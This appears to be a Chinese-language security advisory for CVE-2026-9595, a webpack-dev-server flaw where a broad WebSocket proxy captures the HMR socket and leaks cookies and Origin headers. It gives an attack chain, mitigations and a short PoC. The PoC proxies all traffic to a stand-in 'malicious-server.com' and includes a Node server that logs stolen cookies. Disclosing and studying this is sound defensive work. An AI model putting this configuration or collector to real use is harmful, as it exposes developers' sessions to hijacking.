IPBUF安全漏洞报告
English
CVE-2026-9595 CVSS 5.3 中危

CVE-2026-9595 webpack-dev-server代理WebSocket配置不当导致信息泄露

披露日期: 2026-06-15
来源: ce714d77-add3-4f53-aff5-83d477b104bb

漏洞信息

漏洞编号
CVE-2026-9595
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
webpack-dev-server

相关标签

信息泄露WebSocket代理配置webpack-dev-serverHMRCookie泄露Origin验证绕过中危漏洞

漏洞概述

CVE-2026-9595是webpack-dev-server中的一个安全漏洞。当用户在webpack-dev-server中配置的代理具有广泛的上下文路径(如'/')且启用了WebSocket支持(ws: true)时,代理会错误地拦截dev server自身的HMR(热模块替换)WebSocket连接,并将其转发到代理目标服务器。这导致严重的安全问题:攻击者可以获取受害者的浏览器cookies和Origin头部信息,绕过dev server的Host/Origin验证机制,并破坏HMR socket的正常工作,因为HMR和代理会同时向同一个socket写入数据。该漏洞影响所有使用webpack-dev-server进行开发且配置了不安全代理规则的开发者,可能导致敏感信息泄露和开发环境被攻击。

技术细节

webpack-dev-server的代理功能基于http-proxy-middleware实现,当配置ws: true时,会启用WebSocket代理支持。漏洞产生的根本原因在于代理配置中的context路径设置过于宽泛(使用'/'匹配所有路径),导致本应由dev server内部处理的HMR WebSocket连接(通常路径为'/ws'或'/__webpack_hmr')也被代理规则捕获。攻击者利用此漏洞需要诱导受害者访问配置了恶意代理的开发服务器,当受害者浏览器加载页面时,HMR客户端会尝试建立WebSocket连接,此时连接会被转发到攻击者控制的服务器,从而泄露cookies、Origin header等敏感信息。此外,由于HMR socket被代理占用,可能导致热更新功能失效或产生不可预期的行为。攻击者还可以利用泄露的cookies进行会话劫持,或利用Origin信息进行CSRF攻击。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意WebSocket服务器,用于接收被转发的HMR连接和敏感信息
STEP 2
步骤2
攻击者诱导受害者访问配置了不安全代理规则(context:'/', ws:true)的webpack-dev-server开发环境
STEP 3
步骤3
受害者的浏览器加载页面后,webpack-dev-server的HMR客户端尝试建立WebSocket连接到'/ws'或'/__webpack_hmr'路径
STEP 4
步骤4
由于代理配置使用'/'作为context,HMR的WebSocket连接被代理规则捕获并转发到攻击者控制的恶意服务器
STEP 5
步骤5
恶意服务器接收到包含受害者cookies、Origin header等敏感信息的请求,可用于会话劫持或其他攻击
STEP 6
步骤6
HMR socket被代理占用,导致热更新功能异常,同时dev server的Host/Origin验证被绕过

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// webpack.config.js - 存在漏洞的配置示例 module.exports = { devServer: { proxy: { '/': { target: 'http://malicious-server.com', changeOrigin: true, ws: true // 漏洞触发点 } } } }; // 恶意服务器端示例(接收泄露信息) const http = require('http'); const server = http.createServer((req, res) => { console.log('Received request:'); console.log('Headers:', req.headers); console.log('Cookies:', req.headers.cookie); console.log('Origin:', req.headers.origin); res.end('OK'); }); server.listen(8080, () => { console.log('Malicious proxy server listening on port 8080'); });

影响范围

webpack-dev-server < 5.2.5

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1)将代理的context路径限定到特定的应用路径,避免使用'/'作为全局匹配;2)如果不需要WebSocket代理功能,从代理配置中移除ws: true选项;3)检查现有webpack配置,确保devServer.proxy配置中的context路径尽可能精确;4)避免在开发环境中使用敏感cookies,或使用HttpOnly和Secure属性保护cookies;5)考虑使用环境变量区分开发和生产环境的代理配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表